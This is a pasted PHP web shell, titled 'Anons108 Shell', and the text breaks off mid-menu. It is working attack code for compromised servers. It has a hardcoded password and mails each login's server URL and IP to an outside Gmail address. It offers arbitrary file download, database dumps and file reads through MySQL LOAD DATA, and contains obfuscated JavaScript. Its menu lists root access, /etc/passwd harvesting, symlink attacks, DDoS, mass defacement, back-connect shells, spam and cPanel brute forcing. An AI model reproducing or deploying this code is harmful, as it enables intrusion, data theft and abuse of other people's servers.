· 9 years ago · Jan 15, 2017, 12:34 PM
1<?php
2
3
4error_reporting(7);
5@set_magic_quotes_runtime(0);
6ob_start();
7$mtime = explode(' ', microtime());
8$starttime = $mtime[1] + $mtime[0];
9define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
10//define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
11define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
12define('IS_COM', class_exists('COM') ? 1 : 0 );
13define('IS_GPC', get_magic_quotes_gpc());
14$dis_func = get_cfg_var('disable_functions');
15define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
16@set_time_limit(0);
17
18foreach(array('_GET','_POST') as $_request) {
19 foreach($$_request as $_key => $_value) {
20 if ($_key{0} != '_') {
21 if (IS_GPC) {
22 $_value = s_array($_value);
23 }
24 $$_key = $_value;
25 }
26 }
27}
28
29/*================= Info Login ================*/
30$admin = array();
31$admin['check'] = true;
32$admin['pass'] = 'deptrai123'; // Password login
33$admin['cookiepre'] = '';
34$admin['cookiedomain'] = '';
35$admin['cookiepath'] = '/';
36$admin['cookielife'] = 86400;
37/*===================== End =====================*/
38
39if ($charset == 'utf8') {
40 header("content-Type: text/html; charset=utf-8");
41} elseif ($charset == 'big5') {
42 header("content-Type: text/html; charset=big5");
43} elseif ($charset == 'gbk') {
44 header("content-Type: text/html; charset=gbk");
45} elseif ($charset == 'latin1') {
46 header("content-Type: text/html; charset=iso-8859-2");
47}
48
49$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
50$timestamp = time();
51
52/*===================== Login =====================*/
53if ($action == "logout") {
54 scookie('vbapass', '', -86400 * 365);
55 p('<meta http-equiv="refresh" content="0;URL='.$self.'">');
56 p('<body background=black>');
57 exit;
58}
59if($admin['check']) {
60 if ($doing == 'login') {
61 if ($admin['pass'] == $password) {
62 scookie('vbapass', $password);
63
64// Function mail Sender to my Email
65$time_shell = "".date("d/m/Y - H:i:s")."";
66$ip_remote = $_SERVER["REMOTE_ADDR"];
67$from_shellcode = 'shell@'.gethostbyname($_SERVER['SERVER_NAME']).'';
68$to_email = 'redinteres23071999@gmail.com';
69$server_mail = "".gethostbyname($_SERVER['SERVER_NAME'])." - ".$_SERVER['HTTP_HOST']."";
70$linkcr = "Link: ".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']." - IP Excuting: $ip_remote - Time: $time_shell";
71$header = "From: $from_shellcode\r\nReply-to: $from_shellcode";
72@mail($to_email, $server_mail, $linkcr, $header);
73 p('<meta http-equiv="refresh" content="2;URL='.$self.'">');
74 p('<body bgcolor=black>
75<BR><BR><ul class="loader">
76 <li>
77 <div class="circle"></div>
78 <div class="ball"></div>
79 </li>
80 <li>
81 <div class="circle"></div>
82 <div class="ball"></div>
83 </li>
84 <li>
85 <div class="circle"></div>
86 <div class="ball"></div>
87 </li>
88 <li>
89 <div class="circle"></div>
90 <div class="ball"></div>
91 </li>
92 <li>
93 <div class="circle"></div>
94 <div class="ball"></div>
95 </li>
96</ul>
97
98<style>
99.loader {
100 width: 250px;
101 height: 50px;
102 position: absolute;
103 top: 50%;
104 left: 50%;
105 margin: -25px -125px;
106 list-style-type: none;
107}
108
109.loader li {
110 float: left;
111 position: relative;
112}
113
114.circle {
115 width: 40px;
116 height: 40px;
117 border-radius: 0 0 50% 50%;
118 border: 4px solid #fff;
119 border-top: 0;
120 border-left: 0;
121 border-right: 0;
122}
123
124.ball {
125 position: absolute;
126 content: "";
127 width: 20px;
128 height: 20px;
129 top: 50%;
130 left: 50%;
131 margin-top: -10px;
132 margin-left: -10px;
133 border-radius: 100%;
134 background: #fff;
135 box-shadow: 0 -15px 0 0 rgba(255, 255, 255, 0.15), 0 -10px 0 0 rgba(255, 255, 255, 0.10), 0 -5px 0 0 rgba(255, 255, 255, 0.05);
136}
137
138.circle {
139 -webkit-animation: rotate 1.5s cubic-bezier(0.45, 0, 1, 1) infinite;
140 animation: rotate 1.5s cubic-bezier(0.45, 0, 1, 1) infinite;
141}
142
143.ball {
144 -webkit-animation: fall 1.5s cubic-bezier(0.95, 0, 1, 1) infinite;
145 animation: fall 1.5s cubic-bezier(0.95, 0, 1, 1) infinite;
146}
147
148.loader li:nth-child(1) div {
149 -webkit-animation-delay: 100ms;
150 animation-delay: 100ms;
151}
152
153.loader li:nth-child(2) div {
154 -webkit-animation-delay: 200ms;
155 animation-delay: 200ms;
156}
157
158.loader li:nth-child(3) div {
159 -webkit-animation-delay: 300ms;
160 animation-delay: 300ms;
161}
162
163.loader li:nth-child(4) div {
164 -webkit-animation-delay: 400ms;
165 animation-delay: 400ms;
166}
167
168.loader li:nth-child(5) div {
169 -webkit-animation-delay: 500ms;
170 animation-delay: 500ms;
171}
172
173@keyframes rotate {
174 0%, 20% {
175 transform: rotate(0deg);
176 }
177 100% {
178 transform: rotate(360deg);
179 }
180}
181
182@-webkit-keyframes rotate {
183 0%, 20% {
184 -webkit-transform: rotate(0deg);
185 }
186 100% {
187 -webkit-transform: rotate(360deg);
188 }
189}
190
191@keyframes fall {
192 0%, 20% {
193 transform: translatey(-30px);
194 opacity: 0;
195 }
196 20%,
197 24%,
198 27%,
199 30%,
200 50%,
201 75% {
202 transform: translatey(0px);
203 opacity: 1;
204 }
205 22% {
206 transform: translatey(-10px)
207 }
208 25% {
209 transform: translatey(-6px)
210 }
211 28% {
212 transform: translatey(-2px)
213 }
214 30% {
215 box-shadow: 0px 0px 0px rgba(255, 255, 255, 0.3);
216 }
217 75%,
218 100% {
219 box-shadow: 0 -15px 0 0 rgba(255, 255, 255, 0.15), 0 -10px 0 0 rgba(255, 255, 255, 0.10), 0 -5px 0 0 rgba(255, 255, 255, 0.05);
220 transform: translatey(30px);
221 opacity: 0;
222
223 }
224}
225
226@-webkit-keyframes fall {
227 0%, 20% {
228 -webkit-transform: translatey(-30px);
229 opacity: 0;
230 }
231 20%,
232 24%,
233 27%,
234 30%,
235 50%,
236 75% {
237 -webkit-transform: translatey(0px);
238 opacity: 1;
239 }
240 22% {
241 -webkit-transform: translatey(-10px)
242 }
243 25% {
244 -webkit-transform: translatey(-6px)
245 }
246 28% {
247 -webkit-transform: translatey(-2px)
248 }
249 30% {
250 box-shadow: 0px 0px 0px rgba(255, 255, 255, 0.3);
251 }
252 75%,
253 100% {
254 box-shadow: 0 -15px 0 0 rgba(255, 255, 255, 0.15), 0 -10px 0 0 rgba(255, 255, 255, 0.10), 0 -5px 0 0 rgba(255, 255, 255, 0.05);
255 -webkit-transform: translatey(30px);
256 opacity: 0;
257 }
258}
259</style>');
260 exit;
261 }
262
263 else
264 {
265 $err_mess = '<table width=100%><tr><td bgcolor=#0E0E0E width=100% height=24><div align=center><font color=red face=tahoma size=2><blink>Password incorrect, Please try again!!!</blink><BR></font></div></td></tr></table>';
266echo $err_mess;
267 }}
268 if ($_COOKIE['vbapass']) {
269 if ($_COOKIE['vbapass'] != $admin['pass']) {
270 loginpage();
271 }
272 } else {
273 loginpage();
274 }
275}
276/*===================== Login =====================*/
277
278$errmsg = '';
279
280if ($action == 'phpinfo') {
281 if (IS_PHPINFO) {
282 phpinfo();
283 } else {
284 $errmsg = 'phpinfo() function has non-permissible';
285 }
286}
287
288
289if ($doing == 'downfile' && $thefile) {
290 if (!@file_exists($thefile)) {
291 $errmsg = 'The file you want Downloadable was nonexistent';
292 } else {
293 $fileinfo = pathinfo($thefile);
294 header('Content-type: application/x-'.$fileinfo['extension']);
295 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
296 header('Content-Length: '.filesize($thefile));
297 @readfile($thefile);
298 exit;
299 }
300}
301
302
303if ($doing == 'backupmysql' && !$saveasfile) {
304 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
305 $table = array_flip($table);
306 $result = q("SHOW tables");
307 if (!$result) p('<h2>'.mysql_error().'</h2>');
308 $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
309 header('Content-type: application/unknown');
310 header('Content-Disposition: attachment; filename='.$filename);
311 $mysqldata = '';
312 while ($currow = mysql_fetch_array($result)) {
313 if (isset($table[$currow[0]])) {
314 $mysqldata .= sqldumptable($currow[0]);
315 }
316 }
317 mysql_close();
318 exit;
319}
320
321// Mysql
322if($doing=='mysqldown'){
323 if (!$dbname) {
324 $errmsg = 'Please input dbname';
325 } else {
326 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
327 if (!file_exists($mysqldlfile)) {
328 $errmsg = 'The file you want Downloadable was nonexistent';
329 } else {
330 $result = q("select load_file('$mysqldlfile');");
331 if(!$result){
332 q("DROP TABLE IF EXISTS tmp_angel;");
333 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
334 //Download SQL
335 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
336 $result = q("select content from tmp_angel");
337 q("DROP TABLE tmp_angel");
338 }
339 $row = @mysql_fetch_array($result);
340 if (!$row) {
341 $errmsg = 'Load file failed '.mysql_error();
342 } else {
343 $fileinfo = pathinfo($mysqldlfile);
344 header('Content-type: application/x-'.$fileinfo['extension']);
345 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
346 header("Accept-Length: ".strlen($row[0]));
347 echo $row[0];
348 exit;
349 }
350 }
351 }
352}
353
354?>
355<html>
356<head>
357<meta http-equiv="Content-Type" content="text/html; charset=gbk">
358<title><?php echo $action.' - '.$_SERVER['HTTP_HOST'];?></title>
359<script type="text/javascript" language="javascript">
360<!--
361ML="P<>phTsmtr/9:Cuk RIc=jSw.o";
362MI="1F=AB05@FA=D4883<::GGGHC;;343HCI7:8>9?HE621:F=AB052";
363OT="";
364for(j=0;j<MI.length;j++){
365OT+=ML.charAt(MI.charCodeAt(j)-48);
366}document.write(OT);
367// --></script>
368 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
369 <tr class="alt1">
370 <style type="text/css">body, a:hover {cursor: url(http://ani.cursors-4u.net/cursors/cur-12/cur1081.cur), progress !important;}</style><a href="http://www.cursors-4u.com/cursor/2013/02/28/firefly-pointer-2.html" target="_blank" title="Firefly Pointer 2"><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="Firefly Pointer 2" style="position:absolute; top: 0px; right: 0px;" /></a>
371 <td width=10%><style>
372 @import url(http://fonts.googleapis.com/css?family=Oxygen+Mono);
373/* Starter CSS for Menu */
374#cssmenu {
375 padding: 0;
376 margin: 0;
377 border: 0;
378 width: auto;
379}
380#cssmenu ul,
381#cssmenu li {
382 list-style: none;
383 margin: 0;
384 padding: 0;
385}
386#cssmenu ul {
387 position: relative;
388 z-index: 597;
389}
390#cssmenu ul li {
391 float: left;
392 min-height: 1px;
393 vertical-align: middle;
394}
395#cssmenu ul li.hover,
396#cssmenu ul li:hover {
397 position: relative;
398 z-index: 599;
399 cursor: default;
400}
401#cssmenu ul ul {
402 visibility: hidden;
403 position: absolute;
404 top: 100%;
405 left: 0;
406 z-index: 598;
407 width: 100%;
408}
409#cssmenu ul ul li {
410 float: none;
411}
412#cssmenu ul ul ul {
413 top: 0;
414 left: 190px;
415 width: 190px;
416}
417#cssmenu ul li:hover > ul {
418 visibility: visible;
419}
420#cssmenu ul ul {
421 bottom: 0;
422 left: 0;
423}
424#cssmenu ul ul {
425 margin-top: 0;
426}
427#cssmenu ul ul li {
428 font-weight: normal;
429}
430#cssmenu a {
431 display: block;
432 line-height: 1em;
433 text-decoration: none;
434}
435/* Custom CSS Styles */
436#cssmenu {
437 background: #333333;
438 border-bottom: 4px solid #1b9bff;
439 font-family: 'Oxygen Mono', Tahoma, Arial, sans-serif;
440 font-size: 12px;
441}
442#cssmenu > ul {
443 *display: inline-block;
444}
445#cssmenu:after,
446#cssmenu ul:after {
447 content: '';
448 display: block;
449 clear: both;
450}
451#cssmenu ul {
452 text-transform: uppercase;
453}
454#cssmenu ul ul {
455 border-top: 4px solid #1b9bff;
456 text-transform: none;
457 min-width: 190px;
458}
459#cssmenu ul ul a {
460 background: #1b9bff;
461 color: #ffffff;
462 border: 1px solid #0082e7;
463 border-top: 0 none;
464 line-height: 150%;
465 padding: 16px 20px;
466 font-size: 12px;
467}
468#cssmenu ul ul ul {
469 border-top: 0 none;
470}
471#cssmenu ul ul li {
472 position: relative;
473}
474#cssmenu ul ul li:first-child > a {
475 border-top: 1px solid #0082e7;
476}
477#cssmenu ul ul li:hover > a {
478 background: #4eb1ff;
479 color: #ffffff;
480}
481#cssmenu ul ul li:last-child > a {
482 -moz-border-radius: 0 0 3px 3px;
483 -webkit-border-radius: 0 0 3px 3px;
484 border-radius: 0 0 3px 3px;
485 -moz-background-clip: padding;
486 -webkit-background-clip: padding-box;
487 background-clip: padding-box;
488 -moz-box-shadow: 0 1px 0 #1b9bff;
489 -webkit-box-shadow: 0 1px 0 #1b9bff;
490 box-shadow: 0 1px 0 #1b9bff;
491}
492#cssmenu ul ul li:last-child:hover > a {
493 -moz-border-radius: 0 0 0 3px;
494 -webkit-border-radius: 0 0 0 3px;
495 border-radius: 0 0 0 3px;
496 -moz-background-clip: padding;
497 -webkit-background-clip: padding-box;
498 background-clip: padding-box;
499}
500#cssmenu ul ul li.has-sub > a:after {
501 content: '+';
502 position: absolute;
503 top: 50%;
504 right: 15px;
505 margin-top: -8px;
506}
507#cssmenu ul li:hover > a,
508#cssmenu ul li.active > a {
509 background: #1b9bff;
510 color: #ffffff;
511}
512#cssmenu ul li.has-sub > a:after {
513 content: '+';
514 margin-left: 5px;
515}
516#cssmenu ul li.last ul {
517 left: auto;
518 right: 0;
519}
520#cssmenu ul li.last ul ul {
521 left: auto;
522 right: 99.5%;
523}
524#cssmenu a {
525 background: #333333;
526 color: #CBCBCB;
527 padding: 0 20px;
528}
529#cssmenu > ul > li > a {
530 line-height: 48px;
531 font-size: 12px;
532}
533input, textarea, button
534{
535 font-size: 11pt;
536 color: white;
537 font-family: verdana, sans-serif;
538 background-color: rgba(255, 0, 0, 0.61);
539 border-left: 2px dashed #74A202;
540 border-top: 2px dashed #74A202;
541 border-right: 2px dashed #74A202;
542 border-bottom: 2px dashed #74A202;
543}
544 </style>
545 <html>
546<head>
547<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
548<link rel="icon" href="http://i189.photobucket.com/albums/z79/jamessyrum/wallpaper_by_sandara.jpg" type="image/x-icon" />
549<title>.:: Anons108 Shell ::. </title>
550<style type="text/css">
551*{margin:0;padding:0}
552#Anons108 {
553position:fixed;
554top:0;left:0;
555width:100%;height:100%;
556z-index:-1;
557}
558body,td{background: rgb(240,240,240) url('http://www.anhnendephd.com/vn/anh/hinh-nen-3d/file/thumb/1920/1200/635057879.jpg') no-repeat center bottom;
559background-attachment: fixed;
560font-family:Tahoma;font-size:12px;color:#00dcff;line-height: 16px;font-weight: bold;}
561
562a {color: #00FF7F;text-decoration:none;}
563a:hover{color: yellow;text-decoration:underline;}
564.alt1 td{border-top:1px solid gray;border-bottom:1px solid gray;background:black;padding:5px 10px 5px 5px;}
565.alt2 td{border-top:1px solid gray;border-bottom:1px solid red;background:black;padding:5px 10px 5px 5px;}
566.focus td{border-top:1px solid gray;border-bottom:0px solid gray;background:rgba(255, 0, 0, 0.65);padding:5px 10px 5px 5px;}
567.fout1 td{border-top:1px solid gray;border-bottom:0px solid gray;background:rgba(82, 0, 255, 0.37);padding:5px 10px 5px 5px;}
568.fout td{border-top:1px solid gray;border-bottom:0px solid gray;background:#202020;padding:5px 10px 5px 5px;}
569.head td{border-top:1px solid gray;border-bottom:1px solid gray;background:rgba(0, 0, 255, 0.65);padding:5px 10px 5px 5px;font-weight:bold;}
570.head_small td{
571font-family:Arial; border-top:1px solid gray;border-bottom:1px solid gray;padding:5px 10px 5px 5px;font-weight:bold;font-size:8pt;}
572.head td span{font-weight:normal;}
573form{margin:0;padding:0;}
574h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
575ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
576u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
577input, textarea, button
578{
579 font-size: 9pt;
580 color: #FFF;
581 font-family: verdana, sans-serif;
582 background-color: rgba(255, 0, 0, 0.61);
583 border-left: 1px solid #74A202;
584 border-top: 1px solid #74A202;
585 border-right: 1px solid #74A202;
586 border-bottom: 1px solid #74A202;
587}
588select
589{
590 font-size: 8pt;
591 font-weight: normal;
592 color: #ccc;
593 font-family: verdana, sans-serif;
594 background-color: #202020;
595}
596
597 @-webkit-keyframes tnkss{
598 1% {opacity: 0.0;}
599 25% {opacity: 0.3;}
600 50% {opacity: 0.1;}
601 75% {opacity: 0.7;}
602 100 {opacity: 1;}
603 }
604</style>
605<script type="text/javascript">
606function CheckAll(form) {
607 for(var i=0;i<form.elements.length;i++) {
608 var e = form.elements[i];
609 if (e.name != 'chkall')
610 e.checked = form.chkall.checked;
611 }
612}
613function $(id) {
614 return document.getElementById(id);
615}
616function goaction(act){
617 $('goaction').action.value=act;
618 $('goaction').submit();
619}
620</script>
621</head>
622<body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black>
623<div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">
624 <table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300">
625 <tr>
626 <td align="center" valign=center>
627 <div border="1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 80px; height: 25px; z-index: 1; border-collapse: collapse;" bordercolor="#006600" align="center">
628 Waiting....<img src="http://publication.ida.org.in/images/loading.gif">
629 </div>
630 </td>
631 </tr>
632 </table>
633</div>
634 <script>
635 var ld=(document.all);
636 var ns4=document.layers;
637 var ns6=document.getElementById&&!document.all;
638 var ie4=document.all;
639 if (ns4)
640 ld=document.loading;
641 else if (ns6)
642 ld=document.getElementById("loading").style;
643 else if (ie4)
644 ld=document.all.loading.style;
645 function init()
646 {
647 if(ns4){ld.visibility="hidden";}
648 else if (ns6||ie4) ld.display="none";
649 }
650 </script>
651
652
653
654
655
656<table width="100%" border="0" cellpadding="0" cellspacing="0">
657 <tr class="head_small">
658 <td width=100%>
659 <table width=100%><tr class="head_small"><td width=260px><a title="Anons108 Shell" href="<?php $self;?>"><img src=http://tieuhoctrungvan.pgdnamtuliem.edu.vn/assets/items/hacked-by-x-groups/x-groups.JPG height=180 border=0></a></td><td>
660
661 <span style="float:left;"> <?php echo "Hostname: ".$_SERVER['HTTP_HOST']."";?> | <a href="https://www.facebook.com/Anons108" target="_blank"><?php echo str_replace('.','','Anons108');?> </a> | <a href="javascript:goaction('logout');"><font color=red>Logout</font></a></span> <br />
662<iframe scrolling="no" width="0" height="0" src="http://mp3.zing.vn/embed/song/ZW7O68U6?start=true" frameborder="0" allowfullscreen="true"></iframe>
663 <?php
664 $curl_on = @function_exists('curl_version');
665 $mysql_on = @function_exists('mysql_connect');
666 $mssql_on = @function_exists('mssql_connect');
667 $pg_on = @function_exists('pg_connect');
668 $ora_on = @function_exists('ocilogon');
669
670echo (($safe_mode)?("Safe_mod: <b><font color=green>ON</font></b> - "):("Safe_mod: <b><font color=red>OFF</font></b> - "));
671echo "PHP version: <b>".@phpversion()."</b> - ";
672 echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b> - "):("<b><font color=red>OFF</font></b> - "));
673 echo "MySQL: <b>";
674$mysql_on = @function_exists('mysql_connect');
675if($mysql_on){
676echo "<font color=green>ON</font></b> - "; } else { echo "<font color=red>OFF</font></b> - "; }
677echo "MSSQL: <b>";
678$mssql_on = @function_exists('mssql_connect');
679if($mssql_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
680echo "PostgreSQL: <b>";
681$pg_on = @function_exists('pg_connect');
682if($pg_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
683echo "Oracle: <b>";
684$ora_on = @function_exists('ocilogon');
685if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b><BR>";}
686
687
688
689echo "Disable functions : <b>";
690if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b><BR>";}else{echo "<font color=red>$df</font></b><BR>";}
691
692echo "<font color=white>Uname -a</font>: ".@substr(@php_uname(),0,120)."<br>";
693echo " - <a href=https://www.google.com.vn/search?q=Linux+Exploit+kernel+" .urlencode(@php_uname(r))." target='_blank'><font color=yellow><b>[Kernel Exploit]</b></font><br></a>";
694echo "<font color=white>Server</font>: ".@substr($SERVER_SOFTWARE,0,120)." - <font color=white>id</font>: ".@getmyuid()."(".@get_current_user().") - uid=".@getmyuid()." (".@get_current_user().") gid=".@getmygid()."(".@get_current_user().")<br>";
695 ?>
696 </td></tr></table></td>
697 </tr>
698 <tr class="alt1">
699 <td width=10%><span style="float:left;">[Server IP: <?php echo "<font color=red>".gethostbyname($_SERVER['SERVER_NAME'])."</font>";?> - Your IP: <?php echo "<font color=yellow>".$_SERVER['REMOTE_ADDR']."</font>";?>] </span> <br />
700
701 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
702 <tr class="alt1">
703 <td width=10%><style>
704 #abt-nav,#abt-nav ul {
705 list-style: none outside none;
706 margin: 0;
707 padding: 0;
708}
709#abt-nav {
710 background: url('http://www.taianhdep.net/wp-content/uploads/2013/07/hinhnendacsacchopowerpoint_25072013_6.jpg');
711 clear: both;
712 font-size: 12px;
713 height: 45px;
714 padding: 0 0 0 15px;
715 position: relative;
716 width: 100%;
717}
718#abt-nav ul {
719 background-color: #222;
720 border:1px solid #222;
721 border-radius: 0 5px 5px 5px;
722 border-width: 0 1px 1px;
723 box-shadow: 0 5px 5px rgba(0, 0, 0, 0.5);
724 left: -9999px;
725 overflow: hidden;
726 position: absolute;
727 top: -9999px;
728 z-index: 2;
729 -moz-transform: scaleY(0);
730 -ms-transform: scaleY(0);
731 -o-transform: scaleY(0);
732 -webkit-transform: scaleY(0);
733 transform: scaleY(0);
734 -moz-transform-origin: 0 0;
735 -ms-transform-origin: 0 0;
736 -o-transform-origin: 0 0;
737 -webkit-transform-origin: 0 0;
738 transform-origin: 0 0;
739 -moz-transition: -moz-transform 0.1s linear;
740 -ms-transition: -ms-transform 0.1s linear;
741 -o-transition: -o-transform 0.1s linear;
742 -webkit-transition: -webkit-transform 0.1s linear;
743 transition: transform 0.1s linear;
744}
745#abt-nav li {
746 background: url('http://4.bp.blogspot.com/-3KmCMhrXTqg/VJN8Vdc3FaI/AAAAAAAABWA/chuPnYYih2Y/s1600/Menu2.png') no-repeat scroll right 5px transparent;
747 float: left;
748 position: relative;
749}
750#abt-nav li a {
751 color: #FFFFFF;
752 display: block;
753 float: left;
754 font-weight: normal;
755 height: 30px;
756 padding: 23px 20px 0;
757 position: relative;
758 text-decoration: none;
759 text-shadow: 1px 1px 1px #000000;
760}
761#abt-nav li:hover > a {
762 color: #00B4FF;
763}
764#abt-nav li:hover, #abt-nav a:focus, #abt-nav a:hover, #abt-nav a:active {
765 background: none repeat scroll 0 0 #121212;
766 outline: 0 none;
767}
768#abt-nav li:hover ul.subs {
769 left: 0;
770 top: 53px;
771 width: 180px;
772 -moz-transform: scaleY(1);
773 -ms-transform: scaleY(1);
774 -o-transform: scaleY(1);
775 -webkit-transform: scaleY(1);
776 transform: scaleY(1);
777}
778#abt-nav ul li {
779 background: none;
780 width: 100%;
781}
782#abt-nav ul li a {
783 float: none;
784}
785#abt-nav ul li:hover > a {
786 background-color: #121212;
787 color: #00B4FF;
788}
789
790#lavalamp {
791 background: url('http://1.bp.blogspot.com/-8IK_bj0a8D8/VJN8VWkwVHI/AAAAAAAABVw/CCv-Pyt7noE/s1600/Menu3.png') no-repeat scroll 0 0 transparent;
792 height: 16px;
793 left: 13px;
794 position: absolute;
795 top: 0px;
796 width: 64px;
797 -moz-transition: all 300ms ease;
798 -ms-transition: all 300ms ease;
799 -o-transition: all 300ms ease;
800 -webkit-transition: all 300ms ease;
801 transition: all 300ms ease;
802}
803
804#lavalamp:hover {
805 -moz-transition-duration: 3000s;
806 -ms-transition-duration: 3000s;
807 -o-transition-duration: 3000s;
808 -webkit-transition-duration: 3000s;
809 transition-duration: 3000s;
810}
811
812#abt-nav li:nth-of-type(1):hover ~ #lavalamp {
813 left: 17px;
814}
815#abt-nav li:nth-of-type(2):hover ~ #lavalamp {
816 left: 103px;
817}
818#abt-nav li:nth-of-type(3):hover ~ #lavalamp {
819 left: 178px;
820}
821#abt-nav li:nth-of-type(4):hover ~ #lavalamp {
822 left: 262px;
823}
824#abt-nav li:nth-of-type(5):hover ~ #lavalamp {
825 left: 344px;
826}
827#abt-nav li:nth-of-type(6):hover ~ #lavalamp {
828 left: 425px;
829}
830#abt-nav li:nth-of-type(7):hover ~ #lavalamp {
831 left: 522px;
832}
833#abt-nav li:nth-of-type(8):hover ~ #lavalamp {
834 left: 615px;
835}
836#abt-nav li:nth-of-type(9):hover ~ #lavalamp {
837 left: 705px;
838}
839#abt-nav li:nth-of-type(10):hover ~ #lavalamp {
840 left: 795px;
841}
842#abt-nav li:nth-of-type(11):hover ~ #lavalamp {
843 left: 900px;
844}
845#abt-nav li:nth-of-type(12):hover ~ #lavalamp {
846 left: 1005px;
847}
848#abt-nav li:nth-of-type(13):hover ~ #lavalamp {
849 left: 1100px;
850}
851#abt-nav li:nth-of-type(14):hover ~ #lavalamp {
852 left: 1190px;
853}
854#abt-nav li:nth-of-type(15):hover ~ #lavalamp {
855 left: 1287px;
856}
857#abt-nav li:nth-of-type(16):hover ~ #lavalamp {
858 left: 1377px;
859}
860#abt-nav li:nth-of-type(17):hover ~ #lavalamp {
861 left: 1475px;
862}
863#abt-nav li:nth-of-type(18):hover ~ #lavalamp {
864 left: 195px;
865}
866#abt-nav li:nth-of-type(19):hover ~ #lavalamp {
867 left: 1610px;
868}
869 </style>
870 <ul id="abt-nav">
871 <li><a href="javascript:goaction('file');"><font color=#FFFF00>Trang chủ;</font></a></li>
872 <li><a href="javascript:goaction('sqladmin');"><font color=#C38EC7>SQL</font></a></li>
873 <li><a class="hsubs" href="#"><font color=#FF3300>GET USER</font></a>
874 <ul class="subs">
875 <li><a href="javascript:goaction('getroot');" target="_blank">GET ROOT</a></li>
876 <li><a href="javascript:goaction('etcpwd');" target="_blank">GET USER</a></li>
877 </ul>
878 <li><a class="hsubs" href="#"><font color=#FF3300>CGI Shell</font></a>
879 <ul class="subs">
880 <li><a href="javascript:goaction('cgi');" target="_blank" >CGI Shell Log</a></li>
881 <li><a href="javascript:goaction('telnet');" target="_blank" >CGI Telnet</a></li>
882 <li><a href="javascript:goaction('cgipin');" target="_blank">CGI Pin</a></li>
883 <li><a href="javascript:goaction('vb');" target="_blank">CGI Bypass</a></li>
884 <li><a href="javascript:goaction('BKV-1102');" target="_blank">ws0 shell</a></li>
885 <li><a href="javascript:goaction('ssihtml');" target="_blank">SSIHTML Shell</a></li>
886 </ul>
887 </li>
888
889
890 <li><a class="hsubs" href="#"><font color=#52F3FF>Tools</font></a>
891 <ul class="subs">
892 <li><a href="javascript:goaction('spam');">Spam Mail</a></li>
893 <li><a href="javascript:goaction('zipcode');">Zip Code</a></li>
894 <li><a href="javascript:goaction('bug');">Bug Shell</a></li>
895 <li><a href="javascript:goaction('endecode');">Encode - Decode</a></li>
896 <li><a href="javascript:goaction('reverseip');">Reverse IP</a></li>
897 <li><a href="javascript:goaction('md5');">MD5</a></li>
898 <li><a href="javascript:goaction('crack');">Crack</a></li>
899 <li><a href="javascript:goaction('base64');">Tool SVIT</a></li>
900
901 </ul>
902
903 </li>
904 <li><a href="sym/" target="_blank"><font color=#FF3030>Mở Sym-Root</font> </a></li>
905 <li><a class="hsubs" href="#"><font color=#FF00FF>Symlink</font></a>
906 <ul class="subs">
907 <li><a href="javascript:goaction('viewdomain');">Domain-User</a></li>
908 <li><a href="javascript:goaction('symroot');">Symlink</a></li>
909 </ul>
910 </li>
911 <li><a class="hsubs" href="#"><font color=#52F3FF>DDos Tool</font></a>
912 <ul class="subs">
913 <li><a href="javascript:goaction('ddosv2');">DDos V2</a></li>
914 <li><a href="javascript:goaction('ddos');">DDos Script</a></li>
915 <li><a href="javascript:goaction('ddosbot');">DDos Bot Shell</a></li>
916 </ul>
917
918 <li><a href="javascript:goaction('scan');"><font color=#00F5FF>Scan Shell</font></a></li>
919 <li><a class="hsubs" href="#"><font color=#00abff>Mass Deface</font></a>
920 <ul class="subs">
921 <li><a href="javascript:goaction('mass');">With Root</a></li>
922 <li><a href="javascript:goaction('massfd');">User Folder</a></li>
923
924
925 </ul>
926 </li>
927 <li><a class="hsubs" href="#"><font color=#FF00FF>Command</font></a>
928 <ul class="subs">
929 <li><a href="javascript:goaction('newcommand');">Command</a></li>
930 <li><a href="javascript:goaction('termi');">DIE Group Terminal</a></li>
931 </ul></li>
932 <li><a href="javascript:goaction('Anons108');"><font color=#FF69B4>Deface</font></a></li>
933 <li><a href="#;"><font color=#ADFF2F>Back</font></a>
934 <ul class="subs">
935 <li><a href="javascript:goaction('backconnect');">Back Conect Perl/C</a></li>
936 <li><a href="javascript:goaction('bcphp');">Back Conect PHP</a></li>
937 </ul>
938
939 </li>
940 <li><a class="hsubs" href="#"><font color=#6CC417>Brute</font></a>
941 <ul class="subs">
942 <li><a href="javascript:goaction('brute');" >Brute Cpanel</a></li>
943 <li><a href="javascript:goaction('brutecpv2');" >Brute Cpanel V2</a></li>
